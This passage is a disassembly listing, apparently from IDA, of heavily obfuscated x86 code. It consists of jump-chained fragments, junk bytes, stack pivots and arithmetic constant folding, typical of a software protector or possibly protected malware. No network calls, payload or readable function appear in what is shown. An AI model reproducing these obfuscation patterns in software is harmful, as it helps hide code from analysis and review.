; ---------------------------------------------------------------------------

loc_54B45D:				; CODE XREF: sub_542C3C+C1E8j
		push	ecx
		pop	edx
		mov	ecx, [esp+2Ch+var_2C]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+30h+var_30]
		pop	esp
		inc	ecx
		xchg	ecx, edx
		push	eax
		mov	eax, 2581026Fh
		xor	edx, eax
		jmp	loc_54964B
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 1C03BF57h, 3CE95BA2h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B493:				; CODE XREF: sub_542C3C+ABE0j
		add	esp, 4
		push	2746h
		mov	[esp+30h+var_30], eax
		push	ebp
		jmp	loc_54F85E
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E92434FFh, 87Eh, 5051D800h,	0E1880DB4h, 782C58h, 0D604E9C8h
		dd 429FFFFh, 242C8124h,	1A313A3Bh, 1077E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B4D1:				; CODE XREF: sub_542C3C+414Dj
		mov	eax, [esp+38h+var_38]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+38h+var_38]
		pop	esp
		jmp	loc_54B5C7
; ---------------------------------------------------------------------------

loc_54B4EC:				; CODE XREF: sub_542C3C+B945j
		push	ebp
		mov	ebp, esi
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+3Ch+var_3C]
		jmp	loc_549287
; ---------------------------------------------------------------------------

loc_54B503:				; CODE XREF: sub_542C3C+C334j
		pop	edx
		neg	ebp
		push	edx
		mov	edx, 35577E2Dh
		jmp	loc_552251
; ---------------------------------------------------------------------------
		db 80h,	0EBh, 71h
		dd 83F0EB80h, 0C8904ECh, 0C038E924h, 2C89FFFFh,	81E58924h
		dd 4C5h, 2B85000h, 57000000h, 0B87B8DBFh, 3EE78179h, 81295A0Eh
		dd 0EE706CF7h, 7C03E96Eh, 0C4810000h, 4, 8804C483h, 24048BE1h
		dd 3004C483h, 0C8B66C8h, 16CFE924h, 0BF570000h,	0B1857FBEh
		dd 0E95FFB29h, 56ABh
; ---------------------------------------------------------------------------

loc_54B574:				; CODE XREF: sub_542C3C+E164j
		sub	edx, 4E7306Eh
		pop	ecx
		push	ebx
		mov	ebx, 4
		sub	edx, ebx
		jmp	loc_5516E3
; ---------------------------------------------------------------------------
		dd 0E905E8C1h, 0FFFFD034h, 6866C300h, 47E962E7h, 55000005h
		dd 0FFF371E9h, 0EC8358FFh, 1F98E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B5AA:				; CODE XREF: sub_542C3C+F20Bj
		mov	ebp, edi
		mov	eax, ebp
		pop	ebp
		jmp	loc_5492EA
; ---------------------------------------------------------------------------
		dd 4E92CACh, 4B252E8h, 285AD028h, 0A9E952D8h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B5C7:				; CODE XREF: sub_542C3C+88ABj
		push	esi
		push	eax
		jmp	loc_54ADA8
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E9062C02h, 0FFFFED8Fh, 0F02894B6h, 0E8DE95Ah, 0C2010000h
		dd 0FFC4EFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B5E9:				; CODE XREF: sub_542C3C+E78Ej
		dec	ecx
		jmp	loc_547FF6
; ---------------------------------------------------------------------------
		db 83h
		dd 0C58304C4h, 74FF5502h, 2C8B0424h, 4C48324h, 5C24048Fh
		dd 240C8B66h, 2087E9h, 4C48100h, 57000000h, 7C3A68h, 0D5E1E979h
		dd 0BB53FFFFh, 428371A1h, 6B90C381h, 0EB8101E9h, 0F53FCD51h
		dd 0E9E9DD01h, 81000035h, 772F2AF2h, 31B8502Fh,	0E92BFB60h
		dd 1429h, 4CF1E95Dh, 34FF0000h,	7B33E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B656:				; CODE XREF: sub_542C3C+8FDCj
		pop	esp
		jmp	loc_546C7A
; ---------------------------------------------------------------------------

loc_54B65C:				; CODE XREF: sub_542C3C+7638j
		shr	ebp, 2
		push	eax
		mov	eax, 75084EC0h
		dec	eax
		not	eax
		dec	eax
		shr	eax, 1
		and	eax, 37DC42F3h
		jmp	loc_5480C8
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C6h
		dd 4, 0E904EE83h, 1DAFh
; ---------------------------------------------------------------------------

loc_54B684:				; CODE XREF: sub_542C3C+42F7j
		add	edi, eax
		pop	eax
		xor	edi, [esp+38h+var_38]
		xor	[esp+38h+var_38], edi
		xor	edi, [esp+38h+var_38]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5509BB
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 3B6FBD55h, 0C5814222h, 4ADC5F8h, 0FFEE8AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B6B9:				; CODE XREF: sub_542C3C+A478j
		mov	[esp+38h+var_38], edx
		mov	ebx, [esp+38h+var_38]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_548A6E
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0C471E950h, 68FFFFh,	0FF000000h, 555B2434h, 494FE9h
		dd 0B1C58000h, 5213E9h,	57E98100h, 0E989F26Dh, 5C03h
; ---------------------------------------------------------------------------

loc_54B6F0:				; CODE XREF: sub_542C3C+9CE3j
		mov	ecx, [esp+3Ch+var_3C]
		push	ecx
		jmp	loc_55156D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aSnu		db '$énU',0
		align 2
		dw 73E9h
		dd 89FFFFB5h, 0E28158C2h, 6AF32F75h, 0E82E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B716:				; CODE XREF: sub_542C3C+82CFj
		pop	[esp+10h+var_10]
		pop	esp
		push	4091h
		mov	[esp+0Ch+var_C], esi
		push	eax
		jmp	loc_549176
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FFC874E9h, 0B544E9FFh, 0EFC0FFFFh, 77C78006h
		dd 0FFD310E9h, 0A06BDFFh, 0E8011341h, 0DB05595Dh, 297CEB21h
		dd 21DB2DF8h, 0E9567CEBh, 40BAh, 0FFB519E9h, 2EEC1FFh
		dd 96FAF681h, 81E94186h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B76F:				; CODE XREF: sub_542C3C+CBF3j
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		push	edi
		push	[esp+14h+var_10]
		pop	edi
		pop	[esp+14h+var_14]
		pop	esp
		push	edi
		push	63A658ABh
		pop	edi
		and	edi, 260A4ADCh
		jmp	loc_5528AF
; ---------------------------------------------------------------------------
		db 31h
		dd 0BB535DE8h, 656A0DC8h, 0D0E9D3F7h, 0B9000065h, 27FE3DFBh
		dd 8159CB01h, 983273C3h, 81FB010Ah, 983273EBh, 3F9EE90Ah
		dd 0E9530000h, 4B8Dh, 0FE0AE952h, 0C381FFFFh, 0F526A4ECh
		dd 0E95BD889h, 6DCCh, 6CB68h, 0D78DE900h, 0C301FFFFh, 5D545558h
		dd 4C581h, 0ED810000h, 4, 5C242C87h, 1EDCE9h, 24248B00h
		dd 0FFD133E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B809:				; CODE XREF: sub_542C3C+9392j
		pop	ebp
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		push	[esp+10h+var_C]
		pop	edi
		pop	[esp+10h+var_10]
		pop	esp
		jmp	loc_55253E
; ---------------------------------------------------------------------------
aSQ		db '^é\Q',0
		dw 8B00h
aHel		db '$$hEL',0
		dw 8900h
		dd 0E955241Ch, 1DBDh
; ---------------------------------------------------------------------------

loc_54B838:				; CODE XREF: sub_542C3C+5E41j
		pop	esp
		mov	edx, [esp+20h+var_20]
		add	esp, 4
		jmp	loc_5527A6
; ---------------------------------------------------------------------------
aIHgz		db '‰,$hƒz',0
		align 4
		dd 0FFEA48E9h, 240481FFh, 51901CAEh, 0AEBB535Ah, 2951901Ch
		dd 815B5BDAh, 334EDFE2h, 0E1BD5512h, 45795600h,	7245E9h
		dd 0DE95800h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B87B:				; CODE XREF: sub_542C3C+C0FAj
		xor	[esp+1Ch+var_1C], edi
		xor	edi, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		shl	[esp+1Ch+var_1C], cl
		jmp	loc_546C7A
; ---------------------------------------------------------------------------
		dd 16FB6853h, 4890000h,	0B7A3B424h, 0E9E73079h,	2ABCh
		dd 0F5BB5351h, 896FEF32h, 0D22D5BD9h, 29245807h, 4EC83C8h
		dd 0BB241C89h, 245807D2h, 3658622Dh, 56380564h,	0F4E91086h
		dd 0ACFFFFBFh, 5166D830h, 8904EC83h, 0E1B22414h, 0F661E280h
		dd 0DA36E9D2h, 0F680FFFFh, 0F76E9CFh, 0E8C10000h, 0E9D8F702h
		dd 0FFFFEE33h, 243C8757h, 3C87D7F7h, 243C8B24h,	0C104C483h
		dd 0D7F707E7h, 4E7C147h, 9AE95652h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B913:				; CODE XREF: sub_542C3C+7470j
		mov	[esp+24h+var_24], edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_548116
; ---------------------------------------------------------------------------

loc_54B923:				; CODE XREF: sub_542C3C+64CAj
		add	eax, 142CE157h
		mov	esi, eax
		pop	eax
		push	ebp
		jmp	loc_54FDD0
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 62h
		dd 0E92D1777h, 0FFFFF304h, 5156E189h, 6243BA52h, 0CDB9403Ah
		dd 0E9227E68h, 0FFFFC75Bh, 89243489h, 4EC83E6h,	0E9243C89h
		dd 400h, 0C158C129h, 26E904E9h,	8100004Eh, 0E733BEFh, 240C8B76h
		dd 4C481h, 0B6E90000h, 81FFFFEBh, 24400F5h, 5DEB0124h
		dd 72D2B850h, 0FDE90785h, 56000025h, 0E0017BBEh, 6B41E929h
		dd 0EDC10000h, 62CD8104h, 811B6834h, 0F9B50BEDh, 5DEF29CEh
		dd 50A268h, 243C8900h, 2B5CDEBFh, 0C1474F56h, 0F78107EFh
		dd 6D600BCh, 0E95FF829h, 116Ch,	5FA668h, 241C8900h, 4BBh
		dd 0BE46E900h, 505FFFFFh, 42474FFh, 24048F58h, 49A4E9h
		dd 241C8900h, 2468h, 0DE015B00h, 1032E9h, 48F5900h, 24248B24h
		dd 9C240409h, 0FFB269E9h, 28AD68FFh, 0B4E96F01h, 89FFFFB3h
		dd 82B02404h, 0C8FEC0FEh, 0C600872Ch, 855E9h, 0D7B95100h
		dd 29E211F0h, 0BA5259C8h, 471956ADh, 8105EAC1h,	6E56F3E2h
		dd 2CCA8114h, 0E9646367h, 53EAh
; ---------------------------------------------------------------------------

loc_54BA50:				; CODE XREF: sub_542C3C+6282j
		xchg	esi, [esp+34h+var_34]
		pop	esp
		shr	eax, 8
		jmp	loc_548B56
; ---------------------------------------------------------------------------
		dd 4EC8359h, 0BD242C89h, 2, 62A5E9h, 0B208E900h, 8B66FFFFh
		dd 0CE682404h, 0E900001Bh, 61D2h, 1FD6C981h, 0F181087Fh
		dd 48AD26B3h, 2772E981h, 0CF01AAB6h, 3C875D59h,	0DBE95C24h
		dd 0C0FFFFB1h, 0EC8007ECh, 58E228E6h, 5058E228h, 0E23054B4h
		dd 0F6CAFE58h, 0EA94E9D2h, 0EB01FFFFh, 80BD555Dh, 810D0829h
		dd 0A273F8CDh, 5EDC13Ah, 4EC814Dh, 89000000h, 21E9240Ch
		dd 1FFFFDEh, 0CE02E9F3h, 8966FFFFh, 4EB5240Ch, 0EEE9EB00h
		dd 5E00000Fh, 4C681h, 4680000h,	8900000Dh, 0C2E92404h
		dd 81000019h, 42367BCBh, 7EBC12Ah, 6FBFE9h, 6DC18100h
		dd 5A4CD912h, 0E9240C33h, 0FFFFB98Ah, 3915AA0Dh, 35D0F728h
		dd 753D0151h, 42CCA35h,	0F92D4071h, 89CA8E48h, 0DE958C5h
		dd 29000041h, 2434FFF8h, 7133E9h, 0B9515200h, 6BCD3AA9h
		dd 26C9E9h, 0E9E28900h,	0FFFFC37Ch
; ---------------------------------------------------------------------------

loc_54BB5C:				; CODE XREF: sub_542C3C+101B8j
		xchg	ebp, [esp+30h+var_30]
		pop	esp
		jmp	loc_548210
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 0E9h
		dd 0FFFFF916h, 4BD55h, 0E9290000h, 240C875Dh, 2414895Ch
		dd 7A77D7BAh, 70C38162h, 155E376h, 0C653E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BB8E:				; CODE XREF: sub_542C3C+9EDFj
		push	[esp+2Ch+var_2C]
		pop	edi
		add	esp, 4
		mov	dword ptr [edi+20h], 4CD05FD4h
		xor	[edi+20h], esi
		mov	esi, [esp+28h+var_28]
		add	esp, 4

loc_54BBAB:				; CODE XREF: sub_542C3C+B10Dj
					; sub_542C3C:loc_552CD0j
		mov	ebx, [esp+24h+var_24]
		push	4A9Ah
		mov	[esp+28h+var_28], esi
		sub	esp, 4
		jmp	loc_549E66
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 0Fh
aPFqS		db '¯ÈfQœé;`',0
		align 2
aRsA		db 'Réœa',0
		align 4
		dd 207F83ADh, 3C840F00h, 5000005Eh, 756186B8h, 0FFC6013Dh
		db 34h,	24h, 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+30h+var_30]
		pop	esp
		add	esi, 14A858A4h
		add	esi, eax
		jmp	loc_54D704
; ---------------------------------------------------------------------------
		align 4
		dd 20ACE9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BC12:				; CODE XREF: sub_542C3C+FD44j
		add	ebx, 4
		xchg	ebx, [esp+2Ch+var_2C]
		jmp	loc_54B656
; ---------------------------------------------------------------------------
aMrs		db '¬Réº+',0
		align 4

loc_54BC24:				; CODE XREF: sub_542C3C+6616j
		sub	esp, 4
		mov	[esp+28h+var_28], ebx
		sub	[esp+28h+var_28], 739158D9h
		mov	eax, [esp+28h+var_28]
		jmp	loc_54BCC4
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 2Dh
		dd 2945564Fh, 2DC181F1h, 5E45564Fh, 5C240C87h, 0E9241C89h
		dd 0FFFFB061h, 0E958E228h, 8C6h, 175528BBh, 4CF38147h
		dd 8177FB18h, 625FC5EBh, 0A3F3815Ch, 9F94AD0h, 0ED815BDDh
		dd 6D5A4880h, 39E8E9h
		db 0
; ---------------------------------------------------------------------------

loc_54BC81:				; CODE XREF: sub_542C3C+DF31j
		and	esi, ecx
		jmp	loc_54F383
; ---------------------------------------------------------------------------
		dd 5C241487h, 4C0EC781h, 0EF296DEEh, 4C0EEF81h,	0F1E96DEEh
		dd 66000037h, 5024048Bh, 976E954h, 0CE810000h, 7E9A5100h
		dd 0FFFAACE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BCB5:				; CODE XREF: sub_542C3C+6646j
		add	esp, 4
		push	ecx
		jmp	loc_5516FA
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFFC433h
; ---------------------------------------------------------------------------

loc_54BCC4:				; CODE XREF: sub_542C3C+8FF8j
		push	edi
		jmp	loc_551115
; ---------------------------------------------------------------------------

loc_54BCCA:				; CODE XREF: sub_542C3C+CC0Bj
		mov	esp, [esp+2Ch+var_2C]
		push	3993h
		jmp	loc_550EAA
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 34FF0000h, 0C4815824h, 4, 57EBBA52h,	0E1E918FFh
		dd 2DFFFFCAh, 6BB05742h, 0FF0ED905h, 53F02910h,	9D8E9h
		dd 5AD52800h, 0FE78ED80h, 80DDF6C5h, 0EE2086F5h, 68B05059h
		dd 62B9E9h, 0C8B6600h, 8B545124h, 0C483240Ch, 697FE904h
		dd 48B0000h, 0A3685224h, 0E900007Bh, 0FFFFB11Bh
; ---------------------------------------------------------------------------

loc_54BD3C:				; CODE XREF: sub_542C3C+5998j
		mov	ebp, [esp+14h+var_14]
		jmp	loc_548AAD
; ---------------------------------------------------------------------------

loc_54BD44:				; CODE XREF: sub_542C3C+F53Dj
		or	ebx, 8671196h
		xor	ebx, 4C1D0916h
		sub	ebx, 4DDB570Dh
		sub	ebp, ebx
		pop	ebx
		add	ebx, ebp
		jmp	loc_550751
; ---------------------------------------------------------------------------
		dd 4BFh, 5FFE0100h, 8702C683h, 248B2434h, 0AB0F6624h, 0E99C2404h
		dd 0FFFFAEFEh
; ---------------------------------------------------------------------------

loc_54BD7C:				; CODE XREF: sub_542C3C+ECD5j
		push	5E55h
		mov	[esp+14h+var_14], ebp
		push	0FFFFFFFFh
		push	[esp+18h+var_18]
		pop	ebp
		push	edx
		jmp	loc_548156
; ---------------------------------------------------------------------------
		db 58h
		dd 8B2434FFh, 0C4832434h, 3B46E904h, 0EE800000h, 80E628F3h
		dd 0A2E9F3C6h, 81FFFFBFh, 4F0FDBC7h, 5FF98962h,	4A8BE951h
		dd 77680000h, 8900003Ah, 98BB241Ch, 4358A459h, 74D5C381h
		dd 0C3813617h, 4B60715Ch, 3EACE9h, 8AC58100h, 812C714Ch
		dd 0D54940C5h, 12BE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BDEE:				; CODE XREF: sub_542C3C+B9AEj
		mov	eax, 7931429h
		add	eax, 13FE7982h
		add	eax, ebx
		sub	eax, 13FE7982h
		pop	ebx
		add	ebp, eax
		pop	eax
		jmp	loc_54F38F
; ---------------------------------------------------------------------------

loc_54BE08:				; CODE XREF: sub_542C3C+F676j
		pop	ebp
		shr	ebp, 7
		xor	ebp, offset byte_41200F
		mov	esi, ebp
		pop	ebp
		add	ecx, 1A4A65B1h
		add	ecx, esi
		sub	ecx, 1A4A65B1h
		pop	esi
		add	ecx, 4
		push	ecx
		jmp	loc_54EFED
; ---------------------------------------------------------------------------

loc_54BE2D:				; CODE XREF: sub_542C3C+100A2j
		push	7A0Ch
		mov	[esp+10h+var_10], edi
		mov	edi, 1A17493Fh
		jmp	loc_54D1CE
; ---------------------------------------------------------------------------
aYwr		db 'YWRº{',0
		db 37h,	6Ah, 51h
		dd 407E97B9h, 0A4B85069h, 29621D27h, 0F18158C1h, 724A2D44h
		dd 2AE7F181h, 7BE93FB6h, 52FFFFE6h, 7254E9h
		db 0
; ---------------------------------------------------------------------------

loc_54BE6D:				; CODE XREF: sub_542C3C+BFDFj
		mov	esi, ebp
		jmp	loc_54FBEC
; ---------------------------------------------------------------------------
		dd 0BCE4E950h, 0C89FFFFh, 0D8E95724h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BE83:				; CODE XREF: sub_542C3C+A68Dj
		pop	edi
		add	edi, 4
		jmp	loc_549ED1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4E9241Ch, 4D000066h,	0B3C1F581h, 0EF899317h,	3D25B85Dh
		dd 58E978FDh, 5C000044h, 0FFDFA3E9h, 244488FFh,	66586603h
		dd 245C8651h, 5C14E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BEC2:				; CODE XREF: sub_542C3C+96D8j
		mov	[esp+0Ch+var_C], ebx
		push	[esp+0Ch+var_C]
		jmp	loc_5527CB
; ---------------------------------------------------------------------------
		db 1, 0D7h, 5Ah
		dd 0FFFC6AE9h, 48B66FFh, 4EC8324h, 89240C89h, 4EC81E1h
		dd 0E9000000h, 0FFFFB88Ah, 0F386D6F6h, 1245C86h, 240C8B66h
		dd 8602C483h, 6601246Ch, 243C305Bh, 30243C32h, 9CE9243Ch
		dd 5800001Fh, 5C24048Fh, 0FFC102E9h, 0DE95FFFh,	0B9000060h
		dd 4, 0E959CB01h, 5F81h, 8158C201h, 1A227CE9h, 149FE96Eh
		dd 0E0890000h, 2595BA52h, 40E95EE8h, 6600000Ah,	0E9240C8Bh
		dd 6D6Ah, 3302C683h, 36E92434h,	0B9000030h, 3E8661D4h
		dd 263EE949h, 0E1890000h, 39A868h, 0E353E900h, 8C68FFFFh
		dd 0E900001Fh, 6161h
; ---------------------------------------------------------------------------

loc_54BF7C:				; CODE XREF: sub_542C3C+6C9Bj
		mov	esi, edi
		pop	edi
		and	ecx, esi
		mov	esi, [esp+30h+var_30]
		jmp	loc_54AB56
; ---------------------------------------------------------------------------
		db 0BBh, 36h, 5Eh
		dd 0E38179CFh, 33C026D0h, 0C106E3C1h, 0F38108EBh, 0B031498h
		dd 3D03F381h, 0DA296E09h, 0EFEA815Bh, 18015BFh,	8E685AD3h
		dd 8900005Bh, 4368240Ch, 8BF868EFh, 0E955240Ch,	0FFFFB1E9h
; ---------------------------------------------------------------------------

loc_54BFC8:				; CODE XREF: sub_542C3C+54EFj
		pop	ebx
		mov	ebp, edi
		pop	edi
		add	edi, ebp
		jmp	loc_54B809
; ---------------------------------------------------------------------------
		db 88h
		dd 24148BF0h, 4C481h, 0C2880000h, 0B800E958h, 0DA01FFFFh
		dd 3D24E9h
		db 0
; ---------------------------------------------------------------------------

loc_54BFED:				; CODE XREF: sub_542C3C+BCB1j
		push	edx
		mov	dl, 8Fh
		jmp	loc_55311A
; ---------------------------------------------------------------------------

loc_54BFF5:				; CODE XREF: sub_542C3C+4AE9j
		push	esi
		push	3Ch
		mov	[esp+2Ch+var_2C], ebp
		mov	ebp, 799C5C6Fh
		shl	ebp, 2
		push	ebx
		mov	ebx, 5C3D5670h
		shr	ebx, 6
		or	ebx, 33306BC0h
		add	ebx, 0C545FCCh
		add	ebp, 0B27723h
		sub	ebp, ebx
		jmp	loc_550A05
; ---------------------------------------------------------------------------

loc_54C028:				; CODE XREF: sub_542C3C+FA9Ej
		mov	[esp+30h+var_30], ebp
		pop	eax
		jmp	loc_5483B8
; ---------------------------------------------------------------------------
aISN		db '‰Ù[éÚN',0
		dd 0E0895000h, 405h, 38E2E900h,	89560000h, 4C681E6h, 83000000h
		dd 348704C6h, 168BE924h, 8B660000h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		xor	ebp, [esp+30h+var_30]
		xor	[esp+30h+var_30], ebp
		xor	ebp, [esp+30h+var_30]
		pop	esp
		mov	[esp+2Ch+var_2C], ecx
		push	esp
		pop	ecx
		push	edi
		jmp	loc_54CE73
; ---------------------------------------------------------------------------

loc_54C082:				; CODE XREF: sub_542C3C+EF7Aj
		mov	edx, 0DD144B9h
		neg	edx
		jmp	loc_551A79
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 48B6624h, 2EE95124h,	66FFFFAFh, 6600B60Fh, 665D9268h
		dd 0E9240489h, 0FFFFABCEh, 4C481h, 0C3800000h, 80EB0008h
		dd 596608EBh, 6602EC83h, 0E9240489h, 997h, 8B2434FFh, 6851240Ch
		dd 6486h, 81242489h, 42404h, 0C8B0000h,	4C48324h, 0FFD8B3E9h
		dd 59CA89FFh, 1666E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C0F1:				; CODE XREF: sub_542C3C+F954j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_54CC2D
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 379h
; ---------------------------------------------------------------------------

loc_54C108:				; CODE XREF: sub_542C3C+EC33j
		sub	esp, 4
		mov	[esp+38h+var_38], ebx
		push	esp
		mov	ebx, [esp+3Ch+var_3C]
		add	esp, 4
		add	ebx, 4
		jmp	loc_54C5A2
; ---------------------------------------------------------------------------
		dd 0F39CE958h, 0BA52FFFFh, 7B04379Bh, 5104E2C1h, 377411B9h
		dd 0C439E914h, 62B2FFFFh, 4FB5E9h, 0FFE98100h, 2177BF83h
		dd 0E9591C4Fh, 0FFFFAB2Ah
; ---------------------------------------------------------------------------

loc_54C150:				; CODE XREF: sub_542C3C+6C81j
		add	ebx, 0B1721E49h
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jmp	loc_54AE79
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 4C481h, 0BE90000h, 87FFFFABh, 15E92414h
		dd 81000007h, 7A62C5EAh, 81FA016Ah, 7A62C5C2h, 0C2815F6Ah
		dd 4, 31241433h, 0FDE92414h, 83000008h,	515304C4h, 0BE494FB9h
		dd 59CB893Ch, 0D831C331h, 0FFBA42E9h, 5AD729FFh, 296FE9h
		dd 241C3300h, 0FFC3E7E9h, 0AAB8E9FFh, 0C681FFFFh, 784E1C30h
		dd 0B858E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C1CE:				; CODE XREF: sub_542C3C+BF72j
		pop	eax
		sub	esi, 6B502810h
		add	esi, edx
		jmp	loc_54D6B1
; ---------------------------------------------------------------------------
		dd 31D368h, 24348900h, 150668h,	2BF6800h, 24890000h, 24048124h
		dd 4, 8124048Fh, 42404h, 685E0000h, 0A5Fh, 0E9241489h
		dd 0FFFFDA9Dh
; ---------------------------------------------------------------------------

loc_54C210:				; CODE XREF: sub_542C3C+56D4j
		add	ebp, ecx
		mov	ecx, [esp+40h+var_40]
		add	esp, 4
		jmp	loc_552E04
; ---------------------------------------------------------------------------

loc_54C220:				; CODE XREF: sub_542C3C+7C4Dj
		mov	[esp+4Ch+var_4C], ebx
		jmp	loc_551101
; ---------------------------------------------------------------------------

loc_54C228:				; CODE XREF: sub_542C3C+10111j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+48h+var_48]
		pop	esp
		jmp	loc_54E018
; ---------------------------------------------------------------------------

loc_54C23B:				; CODE XREF: sub_542C3C+E28Ej
		add	ecx, 3F06081Fh
		jmp	loc_550BAA
; ---------------------------------------------------------------------------
		dw 0FB31h
		dd 0C331DF31h, 0FFE27BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C251:				; CODE XREF: sub_542C3C+71E4j
		add	esp, 4
		push	ebp
		push	6D0Fh
		mov	[esp+10h+var_10], eax
		mov	eax, 1EE30F40h
		dec	eax
		and	eax, 474624DBh
		not	eax
		dec	eax
		add	eax, 1D324138h
		xor	eax, 417B1DF6h
		mov	ebp, eax
		pop	eax
		push	ebp
		push	edi
		jmp	loc_54F0E2
; ---------------------------------------------------------------------------
		dw 8058h
		dd 0B60420C6h, 0B62CF000h, 8324148Bh, 0E80004C4h, 0A6E99B2Ch
		dd 8700003Ah, 665C242Ch, 68240C8Bh, 24C7h, 0FFABDBE9h
		dd 0A9C8E9FFh, 0C481FFFFh, 4, 5E08950h,	4, 8704E883h, 0E95C2404h
		dd 6DECh
; ---------------------------------------------------------------------------

loc_54C2CC:				; CODE XREF: sub_542C3C+AB16j
		push	179Eh
		jmp	loc_54DB75
; ---------------------------------------------------------------------------
		dw 0D1F6h
		dd 805AE980h, 0E980BEE1h, 59CA203Fh, 6FB75366h,	5B66FA30h
		dd 34FFD188h, 0C4815A24h, 4, 2E09E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C2FD:				; CODE XREF: sub_542C3C+47E3j
		push	esp
		mov	edx, [esp+28h+var_28]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		push	ebp
		jmp	loc_550D8A
; ---------------------------------------------------------------------------

loc_54C313:				; CODE XREF: sub_542C3C+A33Dj
		pop	esp
		jmp	loc_54BEC2
; ---------------------------------------------------------------------------
aIrsj		db '䈎j*',0
		align 10h

loc_54C320:				; CODE XREF: sub_542C3C+875Fj
		pop	edi
		jmp	loc_550D58
; ---------------------------------------------------------------------------

loc_54C326:				; CODE XREF: sub_542C3C+9AD5j
		pop	ebx
		jmp	loc_551E28
; ---------------------------------------------------------------------------
		dd 0ED18EA68h, 17B85E77h, 18812E7h, 81505EF0h, 5612404h
		dd 0C8B57EFh, 4C48124h,	57000000h, 0E650C6BFh, 2EFC12Bh
		dd 0AB3E94Fh, 0D6F70000h, 1C681h, 55500000h, 9C719568h
		dd 0BBE95D64h, 29FFFFAFh, 83565BD8h, 1C8904ECh,	5742BB24h
		dd 0DE896BB0h, 5EF0015Bh, 8124348Bh, 4C4h, 50D8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C392:				; CODE XREF: sub_542C3C+6951j
		xor	esi, eax
		pop	eax
		add	eax, 48E44B0Fh
		add	eax, esi
		sub	eax, 48E44B0Fh
		pop	esi
		sub	eax, ebx
		sub	eax, 7DE27BE0h
		push	[esp+34h+var_34]
		pop	ebx
		jmp	loc_54CF9B
; ---------------------------------------------------------------------------

loc_54C3B2:				; CODE XREF: sub_542C3C+9FD8j
		pop	edx
		sub	esp, 4
		mov	[esp+34h+var_34], eax
		mov	eax, 61F80023h
		inc	eax
		jmp	loc_5531B9
; ---------------------------------------------------------------------------
		dd 0E403BF57h, 0FA31E60Eh, 5AD0315Fh, 0FFA8A5E9h, 0D9095AFFh
		dd 83241C8Bh, 0D86804C4h, 0E9000055h, 74Ch, 15DE889h, 0F02958C6h
		dd 8124348Bh, 4C4h, 68C33100h, 4270h, 0BB241C89h, 2Ch
		dd 53C268h, 24048900h, 8B3C10B8h, 58C3010Fh, 56B7C381h
		dd 76E938B1h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C423:				; CODE XREF: sub_542C3C+9CD4j
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		xor	[esp+34h+var_34], eax
		jmp	loc_54E574
; ---------------------------------------------------------------------------

loc_54C431:				; CODE XREF: sub_542C3C+E54Ej
		push	3A67h
		mov	[esp+38h+var_38], ebp
